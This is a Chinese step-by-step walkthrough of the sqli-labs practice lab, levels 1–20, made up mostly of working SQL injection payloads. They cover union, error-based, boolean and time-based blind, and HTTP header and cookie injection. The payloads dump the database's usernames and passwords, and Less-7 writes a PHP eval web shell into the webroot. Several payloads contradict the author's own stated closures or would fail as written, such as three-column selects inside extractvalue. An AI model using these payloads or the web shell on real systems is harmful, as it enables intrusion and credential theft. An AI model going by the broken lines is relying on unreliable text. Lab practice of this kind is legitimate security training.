sqli-labs SQL注入靶场通关手册

阿三sql注入手册

命令实现不了的话,自己改一下符号,复制的问题!!!!!!!!!(主要是

Less-01

通过burp抓包发现less页面是get传参

直接在搜索栏追加:?id=1

查库名

?id=-1'union select 1,2,database()--+
数据库名字:security

Less-02(与less-01的区别是id后没有  )

打开页面,在搜索栏追加:id=2

打开页面,在搜索栏追加:id=4-2

查库名

?id=-1 union select 1,2,database()--+
数据库名字:security

查表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

Less-03

测试闭合符号:
?id=1'

有报错,加注释--+

有错误回显,所以==>闭合符号为:’)

操作与前边相同

查库名

?id=-1’) union select 1,2,database()--+

查表名

?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

Less-04

测试闭合符合(和前边03一样,直接写结果了)

?id=4”

==>闭合符号为:”)

操作与上边一致

查库命

?id=-1’) union select 1,2,database()--+

查表名

?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

Less-05

测试闭合符合

?id=5”

没有错误回显,试一下报错注入

报错正常回显,所以==>闭合符号为:

查询库使用extractvalue()报错回显

?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

查询表名

?id=-1' and extractvalue(1,concat(0x7e,(select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

Less-06

测试闭合符合(怕你没会,在演示一边如何判断闭合符号)

?id=6’

没有报错回显,在’后加--

没有报错回显,将’换成”

报错正常回显,在”加--+

所以==>闭合符号为:”

查询库名

?id=-1’) union select 1,2,database()--+

查询表名

?id=-1” and extractvalue(1,concat(0x7e,(select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

Less-07

判断闭合符号:

?id=7’

有回显,?id=7’ --+

还有回显,?id=7’)--+

还有回显,?id=7’))--+

所以==>闭合符号为:’))

提示使用outfile

查看一下phpstudy的mysq文件读写权限,在数据库输入:

show variables like '%secure%';

C:\phpStudy\PHPTutorial\MySQL文件路径输入一下(这是我自己,按自己的填)

保存后,再看权限

使用union注入

?id=1')) union select 1,2,3--+

创建文件

select 1,2,"<?php @eval($_POST['change']);?>" into outfile "XXX\test.php"

select 1,2,"<?php @eval($_POST['change']);?>"输出结果保存到C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\1.php

?id=1')) union select 1,2,"<?php @eval($_POST['change']);?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\1.php"--+

虽然报错,但是查看文件就知道成功

less-08

闭合:'

布尔型盲注
先猜数据库名字长度,>=8时不报错,>=9时报错

?id=1' and length(database())>=9--+

8:

9:

所以数据库名为8

开始猜数据库名字,从第一个字母开始猜
数据库名字的范围一般在az、09之间

第一个字母为s时报错,证明s为数据库第一个名
?id=1' and substr(database(),1,1)='s'--+

第二个为:e

?id=1' and substr(database(),2,1)='e'--+

总上所述

数据库名:security

Less-09

闭合:'

时间的盲注,使用if()函数(时间为5秒左右页面打开证明注入成功)

?id=9' and sleep(5)--+

库名如果大于1,时间为5秒打开

?id=1' and if(length(database())>1,sleep(5),1)--+

验证:长度为8

因为9秒进,所以长度为8

和上边一样得出表名为:security

Less-10

闭合:"

和09只有闭合符号的区别(时间为5秒打开,为成功注入)

?id=10 and sleep(5)--+

库名如果大于1,时间为5秒打开

?id=1' and if(length(database())>1,sleep(5),1)--+

验证:长度为8

因为9秒进,所以长度为8

得出库名写在评论区:’嘻嘻’(偷个懒)

Less-11

进行post传参中有回显的sql注入,选择less-11

(输入账号密码,提交后,在burp上查看截获的数据)

将截获的数据发到重映器

修改上传数据:在password后加’or 1=1 --+

查看页面渲染的结果

接下来可以用其正确的账号密码登录了

Less-12

使用双引号进行闭合时,发现 MySql 返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对

加个括号发现登录成功

Burp抓包发送到重映器

获取数据库信息

uname=admin&passwd=a") UNION SELECT database(),1--+&submit=

Less-13

进行post传参的字符型注入,选择less-13

admin') OR 1 = 1#

来到burp上,查看抓包

获取数据库名

用left函数判断数据库名

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

页面报错证明第一个字母不为a,一个一个的测试

测试得知第一个字母为s,库名为security

Less-14

发现正常进入,但是无回显

打开burp,查看数据

进行列数测试

uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

测试库名长度

使用列举法还是

uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit

证明长度为8

爆库名

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

证明a不是

慢慢测试得出库名为security

Less-15

进行post传参无回显的布尔类型盲注,选择less-15

输入账号密码后,提交,在burp上查看

将截获的数据发送到重映器

因其不会回显,所以进行布尔类型的盲注,查看返回的图片类型确定是否注入成功:

在name=后加上'and (length(database())=8)--+

成功返回 flag.jpg 失败返回 slap.jpg

Less-16

进行post时间盲注,选择less-16

输入账户和密码提交

在burp上查看

发送到重映器,进行修改:

'and (select if(length(database())>1,sleep(3),null))--+&passwd=admin&submit=Submit

Less-17

基于错误的更新查询POST注入

抓包发送到重映器

万能密码注入:

‘or 1=1--+

updatexml() 报错注入回显数据库信息:

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

updatexml() 报错获取数据库名:

uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit

爆字段名,继续使用 updatexml() 报错注入:

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

Less-18

进行http头注入,选择less-18

输入账户密码,提交

在burp上查看,发送到重映器,修改

进行HTTP User-Agent 注入,选择less-18

输入账户密码,提交

在burp上查看截获数据

发送到重映器,进行修改:首先在User-Agent后加 ’ 查看报错信息

查询数据库版本信息:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Less-19

HTTP Referer 注入,选择less-19

输入账户和密码,提交

Burp发送到重映器,进行修改:

盲注注入:

Referer:http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

Less-20

cookie注入,选择less-20

输入账户密码

因为cookie需要登录才能验证,所以放行,后刷新页面,抓取cookie

进行注入:

Cookie: uname=admin'or'1'='1

爆表:

暴字段:

Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #

暴数据:

Cookie:uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

Cookie: uname=admin' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

  • 43
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值